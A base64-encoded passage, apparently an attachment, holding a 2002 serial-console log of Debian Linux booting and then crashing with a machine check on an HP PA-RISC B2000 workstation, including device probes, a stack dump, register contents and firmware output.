eXBlIGV4dDIgKHJ3KQovZGV2L3NkYTcgb24gL3RtcCB0eXBlIGV4dDIgKHJ3KQovZGV2L3NkYTgg
b24gL2hvbWUgdHlwZSBleHQyIChydykKL2Rldi9zZGE5IG9uIC91c3Ivc3JjIHR5cGUgZXh0MiAo
cncpCi9kZXYvc2RhMTAgb24gL1NvdXJjZXMgdHlwZSBleHQyIChydykKL2Rldi9zZGExMSBvbiAv
RGV2ZWxvcCB0eXBlIGV4dDIgKHJ3KQpEZXRlY3RpbmcgaGFyZHdhcmU6IICAgICAgIBpZGUtc2Nz
aSBzeW01M2M4eHggdHVsaXAKU2tpcHBpbmcgaWRlLXNjc2kgbW9kdWxlOyBhc3N1bWluZyBpdCBp
cyBjb21waWxlZCBpbnRvIHRoZSBrZXJuZWwuClNraXBwaW5nIHN5bTUzYzh4eCBtb2R1bGU7IGFz
c3VtaW5nIGl0IGlzIGNvbXBpbGVkIGludG8gdGhlIGtlcm5lbC4KU2tpcHBpbmcgdHVsaXAgbW9k
dWxlOyBhc3N1bWluZyBpdCBpcyBjb21waWxlZCBpbnRvIHRoZSBrZXJuZWwuCoCAgICAgIBSdW5u
aW5nIDBkbnMtZG93biB0byBtYWtlIHN1cmUgcmVzb2x2LmNvbmYgaXMgb2suLi5kb25lLgpDbGVh
bmluZzogL2V0Yy9uZXR3b3JrL2lmc3RhdGUuClNldHRpbmcgdXAgSVAgc3Bvb2ZpbmcgcHJvdGVj
dGlvbjogcnBfZmlsdGVyLgpDb25maWd1cmluZyBuZXR3b3JrIGludGVyZmFjZXMuLi4gZG9uZS4K
U3RhcnRpbmcgcG9ydG1hcCBkYWVtb246IHBvcnRtYXAuClJTZXR0aW5nIHVwIGdlbmVyYWwgY29u
c29sZSBmb250Li4uc2V0X2tlcm5lbF9mb250OiBGdW5jdGlvbiBub3QgaW1wbGVtZW50ZWQKY2Fu
bm90ICh1bilzZXQgcG93ZXJzYXZlIG1vZGUKClNldHRpbmcgdGhlIFN5c3RlbSBDbG9jayB1c2lu
ZyB0aGUgSGFyZHdhcmUgQ2xvY2sgYXMgcmVmZXJlbmNlLi4uClN5c3RlbSBDbG9jayBz
ZXQuIExvY2FsIHRpbWU6IE1vbiBEZWMgMTYgMTU6NDM6MTcgQ0VUIDIwMDIKCkNsZWFuaW5nOiAv
dG1wIC92YXIvbG9jayAvdmFyL3J1bi4KSW5pdGlhbGl6aW5nIHJhbmRvbSBudW1iZXIgZ2VuZXJh
dG9yLi4uIGRvbmUuClJlY292ZXJpbmcgbnZpIGVkaXRvciBzZXNzaW9ucy4uLiBkb25lLgpldGgw
OiBTZXR0aW5nIGhhbGYtZHVwbGV4IGJhc2VkIG9uIE1JSSMxIGxpbmsgcGFydG5lciBjYXBhYmls
aXR5IG9mIDAwMjEuCklOSVQ6IEVudGVyaW5nIHJ1bmxldmVsOiAyClN0YXJ0aW5nIHN5c3RlbSBs
b2cgZGFlbW9uOiBzeXNsb2dkLgpTdGFydGluZyBrZXJuZWwgbG9nIGRhZW1vbjoga2xvZ2QuClN0
YXJ0aW5nIGludGVybmV0IHN1cGVyc2VydmVyOiBpbmV0ZC4KU3RhcnRpbmcgcHJpbnRlciBzcG9v
bGVyOiBscGQuCk5vdCBzdGFydGluZyBORlMga2VybmVsIGRhZW1vbjogTm8gZXhwb3J0cy4KU3Rh
cnRpbmcgT3BlbkJTRCBTZWN1cmUgU2hlbGwgc2VydmVyOiBzc2hkLgpTdGFydGluZyBORlMgY29t
bW9uIHV0aWxpdGllczogc3RhdGQuClN0YXJ0aW5nIGRlZmVycmVkIGV4ZWN1dGlvbiBzY2hlZHVs
ZXI6IGF0ZC4KU3RhcnRpbmcgcGVyaW9kaWMgY29tbWFuZCBzY2hlZHVsZXI6IGNyb24uCgpEZWJp
YW4gR05VL0xpbnV4IHRlc3RpbmcvdW5zdGFibGUgcGFseDIwMDAgdHR5UzAKCnBhbHgyMDAwIGxv
Z2luOiAIIAhiCgpDb21tYW5kIGxpbmUgZm9yIGtlcm5lbDogJ3Jvb3Q9L2Rldi9zZGE1IEhPTUU9
LyBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIgcGFsb19rZXJuZWw9My92bWxpbnV4LTIuNC4yMS1w
cmUxLXBhMTQnClNlbGVjdGVkIGtlcm5lbDogL3ZtbGludXgtMi40LjIxLXByZTEtcGExNCBmcm9t
IHBhcnRpdGlvbiAzCkVMRjMyIGV4ZWN1dGFibGUKRW50cnkgMDAxMDAyNjAgZmlyc3QgMDAxMDAw
MDAgbiA0ClNlZ21lbnQgMCBsb2FkIDAwMTAwMDAwIHNpemUgMjMyNjc1NiBtZWRpYXB0ciAweDEw
MDAKU2VnbWVudCAxIGxvYWQgMDAzM2EwMDAgc2l6ZSA3MjA4OTYgbWVkaWFwdHIgMHgyM2EwMDAK
U2VnbWVudCAyIGxvYWQgMDAzZjAwMDAgc2l6ZSAzMjc2OCBtZWRpYXB0ciAweDJlYTAwMApTZWdt
ZW50IDMgbG9hZCAwMDQxYzBlYyBzaXplIDExNDI4OCBtZWRpYXB0ciAweDJmMjBlYwpCcmFuY2hp
bmcgdG8ga2VybmVsIGVudHJ5IHBvaW50IDB4MDAxMDAyNjAuICBJZiB0aGlzIGlzIHRoZSBsYXN0
Cm1lc3NhZ2UgeW91IHNlZSwgeW91IG1heSBuZWVkIHRvIHN3aXRjaCB5b3VyIGNvbnNvbGUuICBU
aGlzIGlzCmEgY29tbW9uIHN5bXB0b20gLS0gc2VhcmNoIHRoZSBGQVEgYW5kIG1haWxpbmcgbGlz
dCBhdCBwYXJpc2MtbGludXgub3JnCgpMaW51eCB2ZXJzaW9uIDIuNC4yMS1wcmUxLXBhMTQgKHJv
b3RAcGFseDIwMDApIChnY2MgdmVyc2lvbiAzLjAuNCkgIzEgTW9uIERlYyAxNiAxNTowNToyNCBD
RVQgMjAwMgpGUFswXSBlbmFibGVkOiBSZXYgMSBNb2RlbCAxNgpUaGUgMzItYml0IEtlcm5lbCBo
YXMgc3RhcnRlZC4uLgpEZXRlcm1pbmluZyBQREMgZmlybXdhcmUgdHlwZTogU3lzdGVtIE1hcC4K
bW9kZWwgMDAwMDVkMDAgMDAwMDA0ODEgMDAwMDAwMDAgMDAwMDAwMDIgNzdlOTM5MTAgMTAwMDAw
ZjAgMDAwMDAwMDggMDAwMDAwYjIgMDAwMDAwYjIKdmVycyAgMDAwMDAzMDEKQ1BVSUQgdmVycyAx
NyByZXYgMTEgKDB4MDAwMDAyMmIpCmNhcGFiaWxpdGllcyAweDMKbW9kZWwgOTAwMC83ODUvQjIw
MDAKVG90YWwgTWVtb3J5OiAyNTYgTWIKcGFnZXRhYmxlX2luaXQKT24gbm9kZSAwIHRvdGFscGFn
ZXM6IDY1NTM2CnpvbmUoMCk6IDY1NTM2IHBhZ2VzLgp6b25lKDEpOiAwIHBhZ2VzLgp6b25lKDIp
OiAwIHBhZ2VzLgpMQ0QgZGlzcGxheSBhdCBmMDVkMDAwOCxmMDVkMDAwMCByZWdpc3RlcmVkCktl
cm5lbCBjb21tYW5kIGxpbmU6IHJvb3Q9L2Rldi9zZGE1IEhPTUU9LyBjb25zb2xlPXR0eVMwIFRF
Uk09dnQxMDIgcGFsb19rZXJuZWw9My92bWxpbnV4LTIuNC4yMS1wcmUxLXBhMTQKQ29uc29sZTog
Y29sb3VyIGR1bW15IGRldmljZSAxNjB4NjQKQ2FsaWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA3OTku
NTMgQm9nb01JUFMKTWVtb3J5OiAyNTU2NTJrIGF2YWlsYWJsZQpEZW50cnkgY2FjaGUgaGFzaCB0
YWJsZSBlbnRyaWVzOiAzMjc2OCAob3JkZXI6IDYsIDI2MjE0NCBieXRlcykKSW5vZGUgY2FjaGUg
aGFzaCB0YWJsZSBlbnRyaWVzOiAxNjM4NCAob3JkZXI6IDUsIDEzMTA3MiBieXRlcykKTW91bnQt
Y2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChvcmRlcjogMywgMzI3NjggYnl0ZXMpCkJ1
ZmZlci1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDE2Mzg0IChvcmRlcjogNCwgNjU1MzYgYnl0
ZXMpClBhZ2UtY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA2NTUzNiAob3JkZXI6IDYsIDI2MjE0
NCBieXRlcykKU2VhcmNoaW5nIGZvciBkZXZpY2VzLi4uCkZvdW5kIGRldmljZXM6CjEuIEFzdHJv
IEJDIFJ1bndheSBQb3J0ICgxMikgYXQgMHhmZWQwMDAwMCBbMTBdLCB2ZXJzaW9ucyAweDU4Miwg
MHgwLCAweGIKMi4gRWxyb3kgUENJIEJyaWRnZSAoMTMpIGF0IDB4ZmVkMzAwMDAgWzEwLzBdLCB2
ZXJzaW9ucyAweDc4MiwgMHgwLCAweGEKMy4gRWxyb3kgUENJIEJyaWRnZSAoMTMpIGF0IDB4ZmVk
MzIwMDAgWzEwLzFdLCB2ZXJzaW9ucyAweDc4MiwgMHgwLCAweGEKNC4gS2F6b28gVysgKDApIGF0
IDB4ZmZmYTAwMDAgWzMyXSwgdmVyc2lvbnMgMHg1ZDAsIDB4MCwgMHg0CjUuIE1lbW9yeSAoMSkg
YXQgMHhmZWQxMDIwMCBbNDldLCB2ZXJzaW9ucyAweDlkLCAweDAsIDB4OQpDUFUocyk6IDEgeCBQ
QTg2MDAgKFBDWC1XKykgYXQgNDAwLjAwMDAwMCBNSHoKU0JBIGZvdW5kIEFzdHJvIDIuMSBhdCAw
eGZlZDAwMDAwCmxiYSB2ZXJzaW9uIFRSNC4wICgweDUpIGZvdW5kIGF0IDB4ZmVkMzAwMDAKbGJh
IHZlcnNpb24gVFI0LjAgKDB4NSkgZm91bmQgYXQgMHhmZWQzMjAwMApQT1NJWCBjb25mb3JtYW5j
ZSB0ZXN0aW5nIGJ5IFVOSUZJWApMaW51eCBORVQ0LjAgZm9yIExpbnV4IDIuNApCYXNlZCB1cG9u
IFN3YW5zZWEgVW5pdmVyc2l0eSBDb21wdXRlciBTb2NpZXR5IE5FVDMuMDM5CkluaXRp
YWxpemluZyBSVCBuZXRsaW5rIHNvY2tldApTb2Z0IHBvd2VyIHN3aXRjaCBlbmFibGVkLCBwb2xs
aW5nIEAgMHhmMDQwMDgwNC4KU3VwZXJJTzogRm91bmQgTlM4NzU2MCBMZWdhY3kgSS9PIGRldmlj
ZSBhdCAwMDowZS4xIChJUlEgNjQpIApTdXBlcklPOiBTZXJpYWwgcG9ydCAxIGF0IDB4M2Y4ClN1
cGVySU86IFNlcmlhbCBwb3J0IDIgYXQgMHgyZjgKU3VwZXJJTzogUGFyYWxsZWwgcG9ydCBhdCAw
eDM3OApTdXBlcklPOiBGbG9wcHkgY29udHJvbGxlciBhdCAweDNmMApTdXBlcklPOiBBQ1BJIGF0
IDB4N2UwClN1cGVySU86IFVTQiByZWd1bGF0b3IgZW5hYmxlZApwYXJwb3J0MDogUEMtc3R5bGUg
YXQgMHgzNzgsIGlycSAxMDEgW1BDU1BQKCwuLi4pXQpTdGFydGluZyBrc3dhcGQKSm91cm5hbGxl
ZCBCbG9jayBEZXZpY2UgZHJpdmVyIGxvYWRlZApJbnN0YWxsaW5nIGtuZnNkIChjb3B5cmlnaHQg
KEMpIDE5OTYgb2tpckBtb25hZC5zd2IuZGUpLgpTVEkgR1NDL1BDSSBncmFwaGljcyBkcml2ZXIg
dmVyc2lvbiAwLjkKU1RJIFBDSSBncmFwaGljIFJPTSBmb3VuZCBhdCBmNDk0MDAwMCAoMTI4IGtC
KSwgZmIgYXQgZmIwMDAwMDAgKDE2IE1CKQpTVEkgd29yZCBtb2RlIFJPTSBhdCBmNDk0MDA0NCwg
aHBhIGF0IGZiMDAwMDAwClNUSSBpZCAzNWFjZGExNi05YTAyNTg3LCBjb25mb3JtcyB0byBzcGVj
IHJldi4gOC4wYwpTVEkgZGV2aWNlOiBIUEE0OTgyQQpzdGlmYjogVW5zdXBwb3J0ZWQgZ2Z4IGNh
cmQgaWQgMHgzNWFjZGExNgpwdHk6IDI1NiBVbml4OTggcHR5cyBjb25maWd1cmVkClNlcmlhbCBk
cml2ZXIgdmVyc2lvbiA1LjA1YyAoMjAwMS0wNy0wOCkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lS
USBTRVJJQUxfUENJIGVuYWJsZWQKdHR5UzAwIGF0IHBvcnQgMHgwM2Y4IChpcnEgPSA5OSkgaXMg
YSAxNjU1MEEKdHR5UzAxIGF0IHBvcnQgMHgwMmY4IChpcnEgPSAxMDApIGlzIGEgMTY1NTBBCmxw
MDogdXNpbmcgcGFycG9ydDAgKGludGVycnVwdC1kcml2ZW4pLgpHZW5lcmljIFJUQyBEcml2ZXIg
djEuMDIgMDUvMjcvMTk5OSBTYW0gQ3JlYXNleSAoc2FtbXlAb2gudmVyaW8uY29tKQpSQU1ESVNL
IGRyaXZlciBpbml0aWFsaXplZDogMTYgUkFNIGRpc2tzIG9mIDYxNDRLIHNpemUgMTAyNCBibG9j
a3NpemUKbG9vcDogbG9hZGVkIChtYXggOCBkZXZpY2VzKQpMaW51eCBUdWxpcCBkcml2ZXIgdmVy
c2lvbiAwLjkuMTUtcHJlMTIgKEF1ZyA5LCAyMDAyKQp0dWxpcDA6IG5vIHBoeSBpbmZvLCBhYm9y
dGluZyBtdGFibGUgYnVpbGQKdHVsaXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMDAw
IHN0YXR1cyA3ODJkIGFkdmVydGlzaW5nIDAxZTEuCmV0aDA6IERpZ2l0YWwgRFMyMTE0MyBUdWxp
cCByZXYgNjUgYXQgMHhmMDAsIDAwOjMwOkQzOjAxOjVBOjNCLCBJUlEgNjYuCmV0aDE6IERpZ2l0
YWwgRFMyMTE0MyBUdWxpcCByZXYgNjUgYXQgMHgxMjEwMCwgMDA6MzA6NkU6MDY6MjM6RDAsIElS
USAxMzAuClVuaWZvcm0gTXVsdGktUGxhdGZvcm0gRS1JREUgZHJpdmVyIFJldmlzaW9uOiA3LjAw
YmV0YS0yLjQKaWRlOiBBc3N1bWluZyAzM01IeiBzeXN0ZW0gYnVzIHNwZWVkIGZvciBQSU8gbW9k
ZXM7IG92ZXJyaWRlIHdpdGggaWRlYnVzPXh4Ck5TODc0MTU6IElERSBjb250cm9sbGVyIGF0IFBD
SSBzbG90IDAwOjBlLjAKTlM4NzQxNTogY2hpcHNldCByZXZpc2lvbiAzCk5TODc0MTU6IG5vdCAx
MDAlIG5hdGl2ZSBtb2RlOiB3aWxsIHByb2JlIGlycXMgbGF0ZXIKICAgIGlkZTA6IEJNLURNQSBh
dCAweDA5MDAtMHgwOTA3LCBCSU9TIHNldHRpbmdzOiBoZGE6cGlvLCBoZGI6cGlvCiAgICBpZGUx
OiBCTS1ETUEgYXQgMHgwOTA4LTB4MDkwZiwgQklPUyBzZXR0aW5nczogaGRjOnBpbywgaGRkOnBp
bwoKCkxpbnV4IHZlcnNpb24gMi40LjIxLXByZTEtcGExNCAocm9vdEBwYWx4MjAwMCkgKGdjYyB2
ZXJzaW9uIDMuMC40KSAjMSBNb24gRGVjIDE2IDE1OjA1OjI0IENFVCAyMDAyCkZQWzBdIGVuYWJs
ZWQ6IFJldiAxIE1vZGVsIDE2ClRoZSAzMi1iaXQgS2VybmVsIGhhcyBzdGFydGVkLi4uCkRldGVy
bWluaW5nIFBEQyBmaXJtd2FyZSB0eXBlOiBTeXN0ZW0gTWFwLgptb2RlbCAwMDAwNWQwMCAwMDAw
MDQ4MSAwMDAwMDAwMCAwMDAwMDAwMiA3N2U5MzkxMCAxMDAwMDBmMCAwMDAwMDAwOCAwMDAwMDBi
MiAwMDAwMDBiMgp2ZXJzICAwMDAwMDMwMQpDUFVJRCB2ZXJzIDE3IHJldiAxMSAoMHgwMDAwMDIy
YikKY2FwYWJpbGl0aWVzIDB4Mwptb2RlbCA5MDAwLzc4NS9CMjAwMApUb3RhbCBNZW1vcnk6IDI1
NiBNYgpwYWdldGFibGVfaW5pdApPbiBub2RlIDAgdG90YWxwYWdlczogNjU1MzYKem9uZSgwKTog
NjU1MzYgcGFnZXMuCnpvbmUoMSk6IDAgcGFnZXMuCnpvbmUoMik6IDAgcGFnZXMuCkxDRCBkaXNw
bGF5IGF0IGYwNWQwMDA4LGYwNWQwMDAwIHJlZ2lzdGVyZWQKS2VybmVsIGNvbW1hbmQgbGluZTog
cm9vdD0vZGV2L3NkYTUgSE9NRT0vIGNvbnNvbGU9dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5l
bD0zL3ZtbGludXgtMi40LjIxLXByZTEtcGExNApDb25zb2xlOiBjb2xvdXIgZHVtbXkgZGV2aWNl
IDE2MHg2NApDYWxpYnJhdGluZyBkZWxheSBsb29wLi4uIDc5OS41MyBCb2dvTUlQUwpNZW1vcnk6
IDI1NTY1MmsgYXZhaWxhYmxlCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4
IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQpJbm9kZSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6
IDE2Mzg0IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVzKQpNb3VudC1jYWNoZSBoYXNoIHRhYmxlIGVu
dHJpZXM6IDQwOTYgKG9yZGVyOiAzLCAzMjc2OCBieXRlcykKQnVmZmVyLWNhY2hlIGhhc2ggdGFi
bGUgZW50cmllczogMTYzODQgKG9yZGVyOiA0LCA2NTUzNiBieXRlcykKUGFnZS1jYWNoZSBoYXNo
IHRhYmxlIGVudHJpZXM6IDY1NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQpTZWFyY2hpbmcg
Zm9yIGRldmljZXMuLi4KRm91bmQgZGV2aWNlczoKMS4gQXN0cm8gQkMgUnVud2F5IFBvcnQgKDEy
KSBhdCAweGZlZDAwMDAwIFsxMF0sIHZlcnNpb25zIDB4NTgyLCAweDAsIDB4YgoyLiBF
bHJveSBQQ0kgQnJpZGdlICgxMykgYXQgMHhmZWQzMDAwMCBbMTAvMF0sIHZlcnNpb25zIDB4Nzgy
LCAweDAsIDB4YQozLiBFbHJveSBQQ0kgQnJpZGdlICgxMykgYXQgMHhmZWQzMjAwMCBbMTAvMV0s
IHZlcnNpb25zIDB4NzgyLCAweDAsIDB4YQo0LiBLYXpvbyBXKyAoMCkgYXQgMHhmZmZhMDAwMCBb
MzJdLCB2ZXJzaW9ucyAweDVkMCwgMHgwLCAweDQKNS4gTWVtb3J5ICgxKSBhdCAweGZlZDEwMjAw
IFs0OV0sIHZlcnNpb25zIDB4OWQsIDB4MCwgMHg5CkNQVShzKTogMSB4IFBBODYwMCAoUENYLVcr
KSBhdCA0MDAuMDAwMDAwIE1IegpTQkEgZm91bmQgQXN0cm8gMi4xIGF0IDB4ZmVkMDAwMDAKbGJh
IHZlcnNpb24gVFI0LjAgKDB4NSkgZm91bmQgYXQgMHhmZWQzMDAwMApsYmEgdmVyc2lvbiBUUjQu
MCAoMHg1KSBmb3VuZCBhdCAweGZlZDMyMDAwClBPU0lYIGNvbmZvcm1hbmNlIHRlc3RpbmcgYnkg
VU5JRklYCkxpbnV4IE5FVDQuMCBmb3IgTGludXggMi40CkJhc2VkIHVwb24gU3dhbnNlYSBVbml2
ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkKSW5pdGlhbGl6aW5nIFJUIG5ldGxpbmsg
c29ja2V0ClNvZnQgcG93ZXIgc3dpdGNoIGVuYWJsZWQsIHBvbGxpbmcgQCAweGYwNDAwODA0LgpT
dXBlcklPOiBGb3VuZCBOUzg3NTYwIExlZ2FjeSBJL08gZGV2aWNlIGF0IDAwOjBlLjEgKElSUSA2
NCkgClN1cGVySU86IFNlcmlhbCBwb3J0IDEgYXQgMHgzZjgKU3VwZXJJTzogU2VyaWFsIHBvcnQg
MiBhdCAweDJmOApTdXBlcklPOiBQYXJhbGxlbCBwb3J0IGF0IDB4Mzc4ClN1cGVySU86IEZsb3Bw
eSBjb250cm9sbGVyIGF0IDB4M2YwClN1cGVySU86IEFDUEkgYXQgMHg3ZTAKU3VwZXJJTzogVVNC
IHJlZ3VsYXRvciBlbmFibGVkCnBhcnBvcnQwOiBQQy1zdHlsZSBhdCAweDM3OCwgaXJxIDEwMSBb
UENTUFAoLC4uLildClN0YXJ0aW5nIGtzd2FwZApKb3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2
ZXIgbG9hZGVkCkluc3RhbGxpbmcga25mc2QgKGNvcHlyaWdodCAoQykgMTk5NiBva2lyQG1vbmFk
LnN3Yi5kZSkuClNUSSBHU0MvUENJIGdyYXBoaWNzIGRyaXZlciB2ZXJzaW9uIDAuOQpTVEkgUENJ
IGdyYXBoaWMgUk9NIGZvdW5kIGF0IGY0OTQwMDAwICgxMjgga0IpLCBmYiBhdCBmYjAwMDAwMCAo
MTYgTUIpClNUSSB3b3JkIG1vZGUgUk9NIGF0IGY0OTQwMDQ0LCBocGEgYXQgZmIwMDAwMDAKU1RJ
IGlkIDM1YWNkYTE2LTlhMDI1ODcsIGNvbmZvcm1zIHRvIHNwZWMgcmV2LiA4LjBjClNUSSBkZXZp
Y2U6IEhQQTQ5ODJBCnN0aWZiOiBVbnN1cHBvcnRlZCBnZnggY2FyZCBpZCAweDM1YWNkYTE2CnB0
eTogMjU2IFVuaXg5OCBwdHlzIGNvbmZpZ3VyZWQKU2VyaWFsIGRyaXZlciB2ZXJzaW9uIDUuMDVj
ICgyMDAxLTA3LTA4KSB3aXRoIE1BTllfUE9SVFMgU0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxl
ZAp0dHlTMDAgYXQgcG9ydCAweDAzZjggKGlycSA9IDk5KSBpcyBhIDE2NTUwQQp0dHlTMDEgYXQg
cG9ydCAweDAyZjggKGlycSA9IDEwMCkgaXMgYSAxNjU1MEEKbHAwOiB1c2luZyBwYXJwb3J0MCAo
aW50ZXJydXB0LWRyaXZlbikuCkdlbmVyaWMgUlRDIERyaXZlciB2MS4wMiAwNS8yNy8xOTk5IFNh
bSBDcmVhc2V5IChzYW1teUBvaC52ZXJpby5jb20pClJBTURJU0sgZHJpdmVyIGluaXRpYWxpemVk
OiAxNiBSQU0gZGlza3Mgb2YgNjE0NEsgc2l6ZSAxMDI0IGJsb2Nrc2l6ZQpsb29wOiBsb2FkZWQg
KG1heCA4IGRldmljZXMpCkxpbnV4IFR1bGlwIGRyaXZlciB2ZXJzaW9uIDAuOS4xNS1wcmUxMiAo
QXVnIDksIDIwMDIpCnR1bGlwMDogbm8gcGh5IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZAp0
dWxpcDA6ICBNSUkgdHJhbnNjZWl2ZXIgIzEgY29uZmlnIDEwMDAgc3RhdHVzIDc4MmQgYWR2ZXJ0
aXNpbmcgMDFlMS4KZXRoMDogRGlnaXRhbCBEUzIxMTQzIFR1bGlwIHJldiA2NSBhdCAweGYwMCwg
MDA6MzA6RDM6MDE6NUE6M0IsIElSUSA2Ni4KZXRoMTogRGlnaXRhbCBEUzIxMTQzIFR1bGlwIHJl
diA2NSBhdCAweDEyMTAwLCAwMDozMDo2RTowNjoyMzpEMCwgSVJRIDEzMC4KVW5pZm9ybSBNdWx0
aS1QbGF0Zm9ybSBFLUlERSBkcml2ZXIgUmV2aXNpb246IDcuMDBiZXRhLTIuNAppZGU6IEFzc3Vt
aW5nIDMzTUh6IHN5c3RlbSBidXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsgb3ZlcnJpZGUgd2l0aCBp
ZGVidXM9eHgKTlM4NzQxNTogSURFIGNvbnRyb2xsZXIgYXQgUENJIHNsb3QgMDA6MGUuMApOUzg3
NDE1OiBjaGlwc2V0IHJldmlzaW9uIDMKTlM4NzQxNTogbm90IDEwMCUgbmF0aXZlIG1vZGU6IHdp
bGwgcHJvYmUgaXJxcyBsYXRlcgogICAgaWRlMDogQk0tRE1BIGF0IDB4MDkwMC0weDA5MDcsIEJJ
T1Mgc2V0dGluZ3M6IGhkYTpwaW8sIGhkYjpwaW8KICAgIGlkZTE6IEJNLURNQSBhdCAweDA5MDgt
MHgwOTBmLCBCSU9TIHNldHRpbmdzOiBoZGM6cGlvLCBoZGQ6cGlvCgpTdGFjayBEdW1wOgogMTAw
OGM4MDA6ICAwNDEwMDgwMCAxMDIxZTQ1NCAxMDA4Yzc4MCAwMDA2MWE4MCAKIDEwMDhjN2YwOiAg
MDAwMDAwZGYgMTAzM2EwMTAgMDAwMDAwMDAgMDBjODAwMDAgCiAxMDA4YzdlMDogIDAwMDAwMGEw
IDAwMGY0MjQwIDE3ZDc4NDAwIDAwMDAwMDAzIAogMTAwOGM3ZDA6ICA4OTE1MTFkZCAwMDAyMjUy
MCBmMDAwMDE3NCBmMDAwMDE3YyAKIDEwMDhjN2MwOiAgMTAzNmU0NjggZjA0MDAwMDQgMDAwMDAw
MDAgZmZmZmZmZmYgCiAxMDA4YzdiMDogIDAwMDAwMDAwIDEwMjE1OWZjIDEwMzRhODEwIDEwMzRh
ODEwIAoKS2VybmVsIGFkZHJlc3NlcyBvbiB0aGUgc3RhY2s6CiBbPDEwMjFlNDU0Pl0gIFs8MTAy
MTU5ZmM+XSAgWzwxMDIxNDFkMD5dICBbPDEwMjE0MWU0Pl0gCiBbPDEwMTA1M2E0Pl0gIFs8MTAy
MTRhY2M+XSAgWzwxMDIxM2ExYz5dICBbPDEwMjE1NjBjPl0gCiBbPDEwMTAwM2Q0Pl0gIFs8MTAx
MDhjNGM+XSAgWzwxMDEwOGNmND5dICBbPDEwMTYzZjY0Pl0gCiBbPDEwMTFkYmY0Pl0gIFs8MTAx
NjQ1Mjg+XSAgWzwxMDExZGY2Yz5dICBbPDEwMTY0N2JjPl0gCiBbPDEwMTAwM2M0Pl0gIFs8MTAx
MWRlNDA+XSAgWzwxMDEyMTcxND5dIAoKSGlnaCBQcmlvcml0eSBNYWNoaW5lIENoZWNr
IChIUE1DKTogQ29kZT0xIHJlZ3M9MTAzM2QwODAgKEFkZHI9MDAwMDAwMDApCgogICAgIFlacnZX
RVNUSExOWEJDVk1jYmNiY2JjYk9HRlJRUERJClBTVzogMDAwMDAwMDAwMDAwMDEwMDExMTExMTAx
MDAwMDExMDEgTm90IHRhaW50ZWQKcjAwLTAzICAwMDAwMDAwMCAxMDM0YTAxMCAxMDExMDg0OCAw
MDAwMDBmZgpyMDQtMDcgIDEwMzZlNDY4IDEwMzZlM2UwIDEwMzU1NWMwIDAwMDAwMGVjCnIwOC0x
MSAgMDAwMDAwMGYgMTAzNGE4MTAgMTAzNGE4MTAgMTAzNGQ4MTAKcjEyLTE1ICAwMDAwMDAwMCBm
ZmZmZmZmZiAwMDAwMDAwMCBmMDQwMDAwNApyMTYtMTkgIGYwMDAwOGM0IGYwMDAwMTdjIGYwMDAw
MTc0IGZlZTAwMDAwCnIyMC0yMyAgMDAwMDAwMGYgMTAwYjQxNjAgMTAxMTFiZDAgMDAwZjQyNDAK
cjI0LTI3ICAwMDAwMGUwNiBmZWUwMGUwNiAxMDBiNDE2MCAxMDMzYTAxMApyMjgtMzEgIDAwMDAw
MGRmIDAwMDYxYTgwIDEwMDhjODAwIDEwMTEwODQ4CnNyMC0zICAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAKc3I0LTcgICAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDAwMCAwMDAw
MDAwMAoKSUFTUTogMDAwMDAwMDAgMDAwMDAwMDAgSUFPUTogMTAxMTFiZTAgMTAxMTFiZTQKIElJ
UjogMGYyMDAwMWMgICAgSVNSOiBhNjA3ZmZmYiAgSU9SOiA4MDIwMGUwNgogQ1BVOiAgICAgICAg
MCAgIENSMzA6IDEwMDhjMDAwIENSMzE6IDEwM2YwMDAwCiBPUklHX1IyODogMDAwMDAwMDAKCgoK
RmlybXdhcmUgVmVyc2lvbiA1LjAKCkR1cGxleCBDb25zb2xlIElPIERlcGVuZGVudCBDb2RlIChJ
T0RDKSByZXZpc2lvbiAxCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgKGMpIENvcHlyaWdodCAx
OTk1LTIwMDAsIEhld2xldHQtUGFja2FyZCBDb21wYW55LCBBbGwgcmlnaHRzIHJlc2VydmVkCi0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQoKICBQcm9jZXNzb3IgICBTcGVlZCAgICAgICAgICAgIFN0YXRl
ICAgICAgICAgICBDb3Byb2Nlc3NvciBTdGF0ZSAgSS9EIENhY2hlIAogIC0tLS0tLS0tLSAgLS0t
LS0tLS0gICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0gIC0tLS0tLS0tLS0tLS0tLS0tICAtLS0tLS0t
LS0tLS0tCiAgICAgIDAgICAgICA0MDAgTUh6ICAgIEFjdGl2ZSAgICAgICAgICAgICAgICAgRnVu
Y3Rpb25hbCAgICAgICAgIDUxMiBrQi8xIE1CCgogIENlbnRyYWwgQnVzIFNwZWVkOiAgICAgICAg
ICAgICAgICAgICAxMjAgTUh6CgogIEF2YWlsYWJsZSBtZW1vcnk6ICAgICAgICAgICAgICAyNjg0
MzU0NTYgYnl0ZXMKICBHb29kIG1lbW9yeSByZXF1aXJlZDogICAgICAgICAgIDIzMDI3NzEyIGJ5
